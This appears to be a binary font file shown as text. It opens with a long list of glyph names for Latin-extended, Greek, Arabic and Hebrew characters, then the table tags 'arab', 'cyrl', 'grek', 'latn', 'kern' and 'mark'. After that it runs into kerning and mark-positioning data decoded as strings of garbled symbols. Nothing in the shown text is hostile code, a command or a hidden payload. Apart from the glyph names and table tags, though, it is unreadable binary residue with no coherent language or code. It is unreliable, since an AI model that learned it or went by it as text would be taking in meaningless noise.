27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E2Euni1E2Funi1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E4Euni1E4Funi1E50uni1E51uni1E52uni1E53uni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E64uni1E65uni1E66uni1E67uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Auni1E7Buni1E7Cuni1E7Duni1E7Euni1E7Funi1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Auni1E9Buni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni20A0uni20A1uni20A2uni20A5uni20A6uni20A8uni20A9uni20ADuni20AEuni20AFuni266Funi25CCuniFE20uniFE21uniFE22uniFE23 bari.dotless j.dotlessuni20B0uni20B1uni0221uni0234uni0235uni0236uni02AEuni02AFuni02EFuni02F0uni02F1uni02F2uni02F3uni02F4uni02F5uni02F6uni02F7uni02F8uni02F9uni02FAuni02FBuni02FCuni02FDuni02FEuni02FFuni0350uni0351uni0352uni0353uni0354uni0355uni0356uni0357uni035Duni035Euni035Funi03F7uni03F8uni1D00uni1D01uni1D02uni1D03uni1D04uni1D05uni1D06uni1D07uni1D08uni1D09uni1D0Auni1D0Buni1D0Cuni1D0Duni1D0Euni1D0Funi1D10uni1D11uni1D12uni1D13uni1D14uni1D15uni1D16uni1D17uni1D18uni1D19uni1D1Auni1D1Buni1D1Cuni1D1Duni1D1Euni1D1Funi1D20uni1D21uni1D22uni1D23uni1D24uni1D25uni1D26uni1D27uni1D28uni1D29uni1D2Auni1D2Buni1D2Cuni1D2Duni1D2Euni1D2Funi1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Duni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D5Cuni1D5Duni1D5Euni1D5Funi1D60uni1D61uni1D62uni1D63uni1D64uni1D65uni1D66uni1D67uni1D68uni1D69uni1D6Auni0600uni0601uni0602uni0603uni060Euni060Duni060Funi0610uni0611uni0612uni0613uni0614uni0656uni0657uni0658 glyph2292uni06EE uni06EE.finauni06EF uni06EF.finauni06FF uni06FF.fina uni06FF.init uni06FF.mediuniFB21uniFB22uniFB23uniFB24uniFB25uniFB26uniFB27uniFB28uniFB29 uni05B105BD uni05B205BD uni05B305BDuni2012uni201Funi2034 glyph3016 glyph3017 glyph3018 glyph3019allahriyaluni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni200Buni2117uni03F9uni03FAuni03FBuni1D6Buni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0358uni0359uni035Auni035Buni035Cuni03FCuni03FDuni03FEuni03FFuni04F6uni04F7uni05A2uni05BAuni05C5uni05C6uni05C7uni060Buni061Euni0659uni065Auni065Buni065Cuni065Duni065E glyph3073uni0750 glyph3075 glyph3076 glyph3077uni0751 glyph3079 glyph3080 glyph3081uni0752 glyph3083 glyph3084 glyph3085uni0753 glyph3087 glyph3088 glyph3089uni0754 glyph3091 glyph3092 glyph3093uni0755 glyph3095 glyph3096 glyph3097uni0756 glyph3099 glyph3100 glyph3101uni0757 glyph3103 glyph3104 glyph3105uni0758 glyph3107 glyph3108 glyph3109uni0759 glyph3111uni075A glyph3113uni075B glyph3115uni075C glyph3117 glyph3118 glyph3119uni075D glyph3121 glyph3122 glyph3123uni075E glyph3125 glyph3126 glyph3127uni075F glyph3129 glyph3130 glyph3131uni0760 glyph3133 glyph3134 glyph3135uni0761 glyph3137 glyph3138 glyph3139uni0762 glyph3141 glyph3142 glyph3143uni0763 glyph3145 glyph3146 glyph3147uni0764 glyph3149 glyph3150 glyph3151uni0765 glyph3153 glyph3154 glyph3155uni0766 glyph3157 glyph3158 glyph3159uni0767 glyph3161 glyph3162 glyph3163uni0768 glyph3165 glyph3166 glyph3167uni0769 glyph3169 glyph3170 glyph3171uni076A glyph3173 glyph3174 glyph3175uni076B glyph3177uni076C glyph3179uni076D glyph3181 glyph3182 glyph3183uni1D6Cuni1D6Duni1D6Euni1D6Funi1D70uni1D71uni1D72uni1D73uni1D74uni1D75uni1D76uni1D77uni1D78uni1D79uni1D7Auni1D7Buni1D7Cuni1D7Duni1D7Euni1D7Funi1D80uni1D81uni1D82uni1D83uni1D84uni1D85uni1D86uni1D87uni1D88uni1D89uni1D8Auni1D8Buni1D8Cuni1D8Duni1D8Euni1D8Funi1D90uni1D91uni1D92uni1D93uni1D94uni1D95uni1D96uni1D97uni1D98uni1D99uni1D9Auni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB8uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1DC0uni1DC1uni1DC2uni1DC3uni205Euni2090uni2091uni2092uni2093uni2094uni20B2uni20B3uni20B4uni20B5uni2E17 glyph3283 glyph3284 glyph3285 glyph3286 glyph3287 glyph3288 glyph3289 glyph3290 glyph3291 glyph3292 glyph3293 glyph3294 glyph3295 glyph3296 glyph3297 glyph3298 glyph3299 glyph3300 glyph3301 glyph3302 glyph3303 glyph3304 glyph3305 glyph3306 glyph3307 glyph3308 glyph3309 glyph3310 glyph3311 glyph3312 glyph3313 glyph3314uni076A0627.isoluni076A0627.finauni0242uni0243uni0244uni0245uni0246uni0247uni0248uni0249uni024Auni024Buni024Cuni024Duni024Euni024Funi037Buni037Cuni037Duni04CFuni04FAuni04FBuni04FCuni04FDuni04FEuni04FFuni0510uni0511uni0512uni0513uni1DC4uni1DC5uni1DC6uni1DC7uni1DC8uni1DC9uni1DCAuni1DFEuni1DFFuni214Duni214Euni2184uni2C60uni2C61uni2C62uni2C63uni2C64uni2C65uni2C66uni2C67uni2C68uni2C69uni2C6Auni2C6Buni2C6Cuni2C74uni2C75uni2C76uni2C77uniA717uniA718uniA719uniA71AuniA720uniA721 glyph3380 glyph3381 glyph3382 glyph3383 glyph3384 glyph3385 glyph3386 glyph3387 glyph3388 glyph3389 glyph3390 glyph3391 glyph3392 glyph3393uni0487uni051Auni051Buni051Cuni051Duni1E9Euni20F0uni2C6Duni2C71uni2C72uni2C73uniA789uniA78AuniA78BuniA78CuniA71BuniA71CuniA71DuniA71EuniA71FuniA788M"9&@M Arial ?ARLR00@ PFGKL~sttuyzz{234578;<DEKLMNSTUVWXXY[\tuuvwxAB|}~ X Y w x    ( ) 3 4                        V!ttzzBRTWXXZ^acfpvyz|  ) + , / 0 0              arab cyrl>grekNhebr^latnj URD     LTH   kernhkernnkerntkernzmarkmarkmarkmarkmarkmarkmarkmkmkmkmkmkmkmkmkmkmkmkmk    )T\dlt| (6DLT\r0h !"679.: GHIQ Q_|acdrdde.gi.iBiVijjjjjll(lnvobp<qq*q@qVqlqqq uuuuuvvv0vDvXvlvvw@wfwnxHyz|f|n|pi 2@^p4r| JpvXr2 jpBX^d:  2 @ f 4 L n  D V 0 B p 2t",J $7<  h 7h9h:DAE-HIKL`MNQ`WZlmnw-:AHKLMNOQTWYem:>@AEHKLwMNOQTY^flmoqyww:w>wAEFHKYZ\^w_wbefghwjmwuvxywMNQaDhm-Ak AHKLM-T-Z_hmEHKLMNQYAHKMNN[m NQZ_hkmqw :>@EMOQY^eo}}:w>w@AEFHKLMNOYZ^`_hwy:>AEFHLMOQTWZ`-q:>@AEHNYZ\_bdefh`ijkmosuvxy&:w>AEHNWY[\]^`_w`abcdewfghwijkwoprsxyw:>ELMQYeAHKNWhmHZ-Zm-wY`:>@AEFHKL3OQ`WY >@AEOY^`efy :>@EHKLOQ^efalmqZ^_`aefkmnoqtwyZ[^_`aefhklmnqty Z^_aehkytw [^`aelmoq[mqt- [^_aehkmnqt Z-[-_aehklmwhq[am^`aelmoq^aelmoqy`hqw Z^_`Dehkm33Z[^_`efhjknwy[^elmqy Z[_ahklnq_ahk_hml`qw^_aehloy^`efloq33`` .13 "&+5$$))//3355779:<< II UU YZ \\+-//23! "  &()*+!-$$0&&1))2++3..4455:A7DF?HHBJPCSTJVXLZaOdfWhhZjp[ssbvxcfghd 4uuwuuwuuuuuuuuvpuuuwuuuvv vvvv"v(v.v4wv:v@v"wv(xvFvLvRvXv^xvdvjzzzzzzauwBw xuwZkfwluwxuwxvw~vwuwvdxuwvjxvwvwuwHuwHuwHl8wHvx\uwNuwNvwvwuw`uwHuwHuwZkflvwfvwfuwZuw`uwZuw`uwxuwxvwuwxuwxvwfuwxuwxv wfvwZuwZvwv wv(wuwv(wuwuwuwuwuwuwuwvwvwuwuwv.wv4wv@wv@wv(wvXxvXxvLxvXxvXxuwvdxkfx&kfx&vx2vx2vx>uwZvwuw`vwfuwfvxvxDvx\vwvwvxbvxhkfluwZkfw`vxvxv(xuwHl8wHl8wHl8wHuwTuwNuwHuwHvx\vx\vwvwuwZuw`uwZuw`uw`kfwluwfuluwZuw`uwZuw`uw`kfwluwxuwxv wfuwxuwxvwfuwxuwxvwuwxuwxvw~uwxuwxvwfuwxuwxvw~vwZvwvwvwuwZvwvwZvwZvwZv"wv wvwvwvwvwv wvwv(wkfwv(wkfwv(wuwuwuwuwuwuwv:wv.wvFwvFwv(wv(wvxvxv(xvXxvXxv(wxxxxv(wvxvxv(wxxxxvLxvRxv4wuxuwvdxvFwvjxv^wvjxuwvdxuwvjxuwvpxuxvjx uwvjxuwvpxvvx&vx2vx2vvx&vx2vx2v|x&vx2vx2kfx,vx8vx8vwxuwrvwvwvwxulvwuwxuwxv wvwfvdwfuxJuxJuxJvx\vx\vx\vx\vx\vx\vx\vx\vwvwvwvwulvx\vxnvw~vxtvxzvwwxwwwxv(wuwuwuwv.wv4wv@wv@wvx>vxPuxVuwuwuwz0wZvx>uxvz6ulzC\\^^``bbdgii kl rs                  !  "  #  $  %  &  ' " $* & &- ( (. * */ , ,0 . .1 0 <2 > @? B PB R RQ T TR V VS X XT Z ZU \ \V ^ ^W ` `X b bY d dZ f h[ j j^ l l_ n n`8~ 4jdjjljpjvlj|jjjjjjjk0jjjljjjjjjjjjjjjljkjljlkk kkklk$k*onotozooo8FPZdnx"4FP_`*_`0_`6_________~____t____j__p__`__f__V__\__L__R__B__N__8__D__.__4__$__*___n_ _t__p__v__Z_ _`__\__b_ _F^_L__H^_N^_2^_8^_4^_:^_H^_$^_D^_&^_R^_X^_^^_L^_R^_X^_^^_d^^^^m^^m GK 348;EKNSVW!Y[# & .x   ,gggggggggggghhhh hhhh$h*h0h6h<hBhHhNhThZh`hBhHhfhlhrhxh~hhlllll,^0^6^0^<^0^Bl^N^T^^$^*^^l^H^r^Z^`^x^~^f^^~^^^^^^^^^^^^^^^^lRlXl^^^GK34 89;;EKNQSSVWZZ % ' *GK34 89;;EKNQSSVWZZ % ' *@t .hhh$h*h0h6h<j]|]]]]]]k::RRYY[[  ::RRYY[[  R lmmmm"m(m.m4m:m(m@mFmLm(mRmRmXm:m^mdmdmdm| llmjllll$$li*  006l<BHNi*mRmRmpmvm|m m(BllmmmvTlmmmmmmmmmmmmmmmmmmmm^gdddmggmmmgmmmmmmmgmg[|ȄyPz[~yVzy\~ƄyV~̄ybzyhzyn~҄ytyyhzyz~؄y~ބyh~ybzyV~Ƅyzy\~Ƅy\zyP~ƅyh~y\~[}yzy\~y~y~ y~؅ yzp yz&[,y{2y8y~؅&y|n>y|nDy~؅&y}JyPy&y [8y Vy&>[,\y2by&y8hynyhy>t[DzyJyP[~zVz \zbz hy y y y y zX yzpy…,y…,y…,y…,z^ȅbzd΅2ynԅynڄ[&zj zj zj zj zj y셰y&zj&y&y,znybtzpzvyfzzz"zzzz|[ phz(Vzzz.Vz(Vz4z:z@zFzLzLzLzRzRzRz}y|ȅyyzzhzVy…yV~Ƅyzz|yVyz["z:([~ƅ[zpz.[ڀ4 z.z4 [~Ɔ z:yz@z>zzzyVzzրFzĀLz܀R[ zXz^Jzdy[Jz~؅yzJzR [… p zj zpyv z z^|"z {Ԇ(zV.\{~4{ :{V{ @{ {,{ yȀ,zVF{$zVF{*[{0f{6z".{< {B yj {Hyj {Ny,zRzj,{T{Z,{`p{fL{l ["LybĆR{rL{x {~ʅ&{ĄyЅ&{~${քz@܄{Ԅz@{ڄ{zfy|X{^{d{Ćjy[p{&yz~؆y|v{Ć|yڀL[~y8Lz {{~|삪,{ć} {~}{~z|>ph .[||"zLzj,{"y,[$[>,y* {Ą{~䄺z0{6{<&{B{H|N yVB.ybT[ZyP<,[[`yPfFyVl|r{x|~yy|}j|{f&y{0"z|| yhĆ|&yby|,&[yPL{y~Ƅ[,h|2~ƅ|8zp{ yyz~䄮yyhyz~|T[~|>zj{~[>yV~{~ƅyȁ&|("[(}..}44}::}@@}FF}yB}LL}RR}ăXX[΁,}ʃ^^}dybyL{`dy"L}"}փjbyb|R[zLpRzjzʃvjyȃ|Ly΃p}܃.}4v}:|}["L[yV~Ɖzʃ"[ }zph[zʃy,{ރy,|{|{ȇ{{f zLy,zʃ}􃬉z(y>{Ty,{y,yz{ |y|Ȇp}&}.~&[z~z||ȅ,{~[>ph [{~[zLzj,~ \|&y|DyP,|J>[> |Pzy,[΁ƅ,[΁̅,|V҇|J҇ |J> |\>zfyBLyކLy> |b[[LyP,yPyyJ|h|J|h|J|nyP$|nyP$yz*yPꆬ|t0|t6|t<|&p|Dp[΁,y |z|{|\^y>,[΀yT|ny\Z|yhgD|yyzg||`y|gyޅ&\ |\>|\&y,n|P|{[>[>fylyl||^{f|ȅ,|yb^yڂrybt|\2yx|8,y~|[gyf|V>[L|[^zjЅ,|DzJ|P|8|‚Vp|Ȃ\|Ȃbybh[nz|΁||Ȉ[~}z{~؅,}z}"~؈yzzy~؈phz{fzyz {fz&yz,zjz&{z2[zryzyzly~ƈ8yy~Ɔyz~̄}({2zL>yl{zz~؅,[zD|~؈J}.z}4~؅,[zP|~؈V[z\|~؇r{~f*y|nNz(z}:~؈b{zy~؇{zhy~؇yP~؈Vy}}@~؈n}F[tyP~؈ny}zyP~؈y}N}L}R}L}R…}RȈ}XΈ}.[[y[Dy[yrzԄzzԄz{z.}^>{z}d{zP}dzڄ}jzp[ڈ,}pzpzڈ}v|zڈ}v|zڈ}jzp}z:[ڈyzyn[Ԉyzyn[Ԉyzyn[ԇ*[By8[B\y8L[B\y8{ށ.{*{}|{}{n[}y{~.{*zb{~.{*zb{~z|zz~Ƅz|zyV~Ɖ } zyV~ƈ} z[|z:}n}|}>~~J~~H[yzf*y{ |b|Ԃ8R|Ԃ8R~ĉ~ʉ~z~$Љ~*։yz~؄~0V[,[D~6܅&y~؅ yz&y{2yPy&[8y&>~<>[,\y2b[Dz~B~H~N~T~Z~`>[8~f ~l y~؊yz8y{ y8y~؅8y}yy8[8y&[,|ny\Zy8$y$[Dy~y V[8[|VҊ*|JҊ0[6y|n~rzp<|ny\Zy8~xB~yPzyh~~|ȊNy\~~$Tytyy|nD~*Z~0`y\~Ƅy&>y\~y>t~Nryz~؄y}Jyz~؄yV~Ƅy\~ƈP~6~<~rBf~HlttzzBXZ^ac!fp$v|/6CP ) 0T \ _  c2$=D]b4TUWYZ_aqw}*jm $%#%XZ[e !      + G O i       p      # * * - -Tj HHHHHHHHHHHHHHHHHHHHHHII IIII"I(I.CCJJ,,88::??BCHHMMUUWZ __ bchhmmuuwz$$ HlbHlHrHxH~HHHHHHHHHHHHHHHHHHHHHHIIIIII I&I,I2I8I>IDIJIPIIIVI\IbIhInItIzIIIIIIIIIIIIIIIIIIIIIIJJJJIIIJ IJ IIIIIIIIIIIIIIIII$=D]in4pw:yBKMNOPQ#%R''U++V-.W00Y66Z::[<<\GH][\_^^a "HHHHH][D]Y:\[J][8][P][V]Y4\[\\.Yp\4Y"[Y4\Y^[Y4\YR[[ \ Y"[Y4\Y^[Y4\Yv[Z]ZYF\"[b][8][>]Y^[Y4\[h]Z \YX[Y4\YR[Y4\YR[Y4\YR[Y4\YR[Y4\Yj\Y(\Yj\Y(\Y^[Y4\Y^[Y4\YX[YL\(YX[YL\(YX[Y4\YX[Y4\Y[Y(\Z]Z[n]YX[Y\[t][z][^Y[Y.\ YR[Y4\Y[Y4\Y^[Y4\YR[Y.\ Y4\Y4\Y4\Y4\Y.\ Y.\ Y4\Y4\Y4\Z*\Z0\Z0\Z6\Z<\Y(\Y4\Y4\ZB\ZH]ZN]Y4\Y4\Y4\YF\"YF\"YF\"ZT] ZZ]YF\"Z`]Y:\Y:\Y:\Y4\Y4\Zf]Y4\Zl]$Zr]*Zx]0YL\(YL\(YL\(YL\(YL\(YL\(YL\(Z~]6Z~]6Y.\ YF\"Z]Y^DY^J[^PY^DY4^VY.^\YF^b[^hY4^VY^JYL^nY^DY.^\[^Y4^VYF^bY4^VY^DY^JY4^VY(^tY.^\[^z 1 3 &$=D]b4TUWYZ_aqw}*jm$%_a !  B       p    (  #) * *0 - -1 ; H;F;L;R;X;^;d;4;j;p;v;|;p;;j; ;;;;;;;:;;|;;;;;;;;;(;;;;;;;;9;;;;;;;<<< ;";";";(;.;4;4;4;:;;:;.;4;";4;";@;;:;(Y $=D]yz4}69:;=>@DX^ ;(";(;.;4;:;@;F;L;R;:;X;^;d;j;p;v;|;;;;;;;;;;;;;;;;j;j;d$$&&((**,,./1258 DD FFHHJJLLNOQRUXttvv~~!x~ N2NANNNCNN:DNNOONO NOO:`OAOO$CrO*NO0CT;,ABO6O<:OBO<:;;CTOHON:CrA;OTNC4lOZNNO`NONONNNNNNOxAAAAD\B:O~;CTCTCTCTCT;;;;:OfNOCTP NNNOO4lCrNNNNNOlOr:O NNNOOOON:OCrO*OZNDCr4lCONO6:OONCTNCT:NNOON;,NOONAN:N:N:O;O;NCTO:OOOCrOO:`AO;O;O*OZO*OZO*OONNNCTNCTNANANANO6NO6OO6N;N;OO~O~O~:O~OODOB@NOCxPDNPJPPPV:NO<:;P\OPbNPhPnCOPtOCrPPzP:`APPOO<4lO*OZPPCT:`POHRxR~RRRRRRR:HRHONRNO6NOSDSJSP:HSVS\SbS2NCAONNADOBShSnO:Cr4lSN:NO ONAStSze&$=D]b4TUWYZ_aqw}*jm$%_a !  B       p    (  #) * *0 - -1hp 3~3~3z3z33333h3h3333333332323333333332323333333\3\3333_`EGIKMQSZ ]]  >AD>AJ2>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>???>?>?>?>?>?>?>?>?>?>?>?? ?>?>?>?>?>?>?>?>???>???>?>?>?>?>?>?>?>?>?>?>?>?>?>?>???>?>?>?>?>?>?>?>??"??(??.?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>??4?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>??:??@?????>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>??:??@??:??@??:??@??:??@??:??@?>?>?>?>?????????????????????>?>?>?>?>?>?>?>?>?>?>?>?>?>??F?>?>??L??R?>??R?>?>?>?>?>??X??R?>??^?>??.?>?>??d??j?>?>?>?>?>?>??p?>?>?>??v??|???>?>?>?>?????>?>?>?>???>???>?>?>?>?>?>?????>?@?@?@?@?>?@?@?@?@?>?>?>?>?>?>?>?>?>?>?>?>?>?>?@0?>?@?@?@?>?>?@???>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?@0?@?>?>?@?@?@?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>???????????>?>?>???????>?>?>?>?>?>?????>???>?>?>?>?>???>?????@?>?>?>?>?>?>?>?@?@?>?>?@ ?>?@?>?>?>?@?@?>?>?>?@$?>?@*?@0?@0?>?>?>?>?>?@6?????@?@H?>?>?>?@N?@T?@Z?@`?@f?@l?@r?@x?@~?@?@?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?\?>?>?@?@?@?@?@?@?@?@?>?>?>?>?>?>?>?@?>?>?>?>?>?>?>?>?>?>?>?>????^?@?>?>?>?@?@?>?>?>?A?>?>?>?>?>?>?>?A?>?>?>?>?>?>?>?????A?>?>?>?>?@0?A?>?>?A?>?>?>?>?A ?>?>?>?>?>?A,?>?>?>?>?>?>?>?>?A&? &$=D]b4TUWYZ_aqw}*jm$%_a !  B       p    (  #) * *0 - -1 @///////////0/0 0 0/00000"0 0 0(0.040:/0@0F0.0L0L0L0L0L0L0L0L0L0L0L0L0L0R0X0X0X0^0d00j0p0:0:0v0v0v0v0v0v0v0|@//////|||/////////////|/////X//,,///,,,,/////,,|////////,,///////ttzzBRXXz| - ) +1 0 04 5 6 8  9  ?ttzzBRXXz| - ) +1 0 04 5 6 8  9  ?j +,,,,,--,J-- ------"-(-(- - -.- -4,---:-@-@,,J,J,J-:'''''''''+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,TWZ^ac fp vy , /" & (  )  *TWZ^ac fp vy , /" & (  )  * "M*"""*"`****""+*"*"+"+ +""*"+"***+""+*+*++++***"""*+$***""+""++ +"*"+""`""+*"*"*"+*""#wwC D E!   6 6 8>   &'v'| & , 2 V V 8 > D J P   R'$^$^'$^$^$^$^$^'$^$^$^$^$^$^'M'T'%'%8'%'l'&'$0'l'l'&'2'%8''Z'l''`'&'%'l'&''f'&'2'2''l'%8''`''r('x('x('x(&'%8(J%8(J'Z''Z''`('`(\'`(\'`(\'T''T''T'%'%8(,%'l''(2%'l(>'B(D2'%8''''`(%'l''f'&'2''l'%8''`(\'r(b'(82(&'(P'(V%'l'T('~('(&''''(&''(  uu Z ] _ ` d d f g i i o o r s v w#wwC D E v& &&&&&&&&&&"n&"n"n"n"n&"n"n###"n'#M%@%@##$&@#XX###"X$X%X##&T$n#$X&%L%j&###X%X%X$$$&&%X#%L#%^p#%d#%d#%d##&T%&T%#$#$%L@%L&%L&%L&%@%@%@%@%@%@##$#@#X%X&T%&#X&&%.&T#$#$#$%L%j##X%@%R$%R@%X#%L&%^p#%&%&$##XX@%p&%j%p@$%R#X%p@&$%|%p   Y Y ^ ^ c c j n q q    #wwC D EXPn"<"(""u   Z ] _ ` d d f g i i o o r s v v    Z ] _ ` d d f g i i o o r s v v ww% Z ] _ ` d d f g i i o o r s v v ww% Z ] _ ` d d f g i i o o r s v v P#<#(##   Y Y ^ ^ c c j n q q      Y Y ^ ^ c c j n q q     ww%  ww% Y Y ^ ^ c c j n q q P$<$($$ Z ] _ ` d d f g i i o o r s v v   u  uww%uww%uP%<%(%%   Y Y ^ ^ c c j n q q          Y Y ^ ^ c c j n q q ww%  ww% Y Y ^ ^ c c j n q q  bbbMZZ*`fl`rZlZZxZZlZZZfZ~~rZZ~~ZZZZZZZZZZ*`fZZZxZZZfZ~rZZ~~~Z~ZfrZxZ~Z a a p p u u#wwC D E nMRRRRht e h#wwC D E M $*06<BHN00TZH`fffr**xxHHHH ~~*x<HN0ZH`rN0HHTH`l b t#wwC D E$&2&&tnl&dV&@:@&0*&& b t                                                  & '''''''x'd'P'<'('' Y Y ^ ^ j l j j b ^ ^ b j k("( k l    M         $  * 0 0  6 0 < B  H H  * N T $ $ $ l $ $ $ $          *  6  r  x  $     <  ~ Z r  $ $  $  Z Z Z 0 ` Z ` fu#wwC D ET r "(. 4:@M P    H  ""  P (( . H 4 J  , l  l l   Y Y ^ ^ c c j n q q   #wwC D E F 0 6 < 6 6 B H B N < 0 T T ZM ~ & , 2 8 > D D J P ~ ~ ~ J J ~ ~ D & 2 2 & V \ ~ D D D ~ P P ~ ~ \ \ \ \ ~ ~ ~ & , 2 8 n D J P ~ ~ J ~ D & 2 & V \ ~ 8 & & D ~ x b h ~  Z ] _ ` d d f g i i o o r s v v #wwC D ET r "(.4LRX^djpLv:@@v2~M&,88>>8JPD>&V,V\V>>>nhhVVVV&,88>8hJD>&,V\V8&J&>brb   Y Y ^ ^ c c j n q q   #wwC D E b tp Y Y ^ ^ j l  l8 kTX~" .L^(J(pJp(~((((e((lxR,j!TrY2lllYFlTj>4p  DDD*+DIIv: ? ,w[zNMmX z JzR#,&/&6&&&]5&&s&f&&&^n&&R ;(,(((,(q((^(((VV V:0&&0&H HH f* gX+EN&+&:&&&&&& f&?&X&&&&2Lnkufn*nnt s8nnVnnj) zg3_79fH Xl0D\&&wEZdRx izpRi2uzih[V9[RX& &R&&K XR&k(xLpXL0,l^xn`d<4hF,DLR  |p2j2    J-&/6&?/ J&L80a"&Xl&&&&X^,^^X,,dXXXX,,X,XX^8????,,,TT,d,8pQ~6  u[ZZZ,Z,,,,pj&pXZ^j^8jXZ&ZZZ^ZZwZwwjZ ^ ^ >>,  Z, F     ^0,d |&8C v q n XX XXd   h?b-^"d ?X?(J D& ?XROUXD&, ?R|O:JlTT TL OOO -8B@:B G8JK~j.jtQ~K\\   niZj`t:ll@r:m|CXXV44494944s444444444U44444444?444@4z4t44 4 44W4 44[44 44.4444 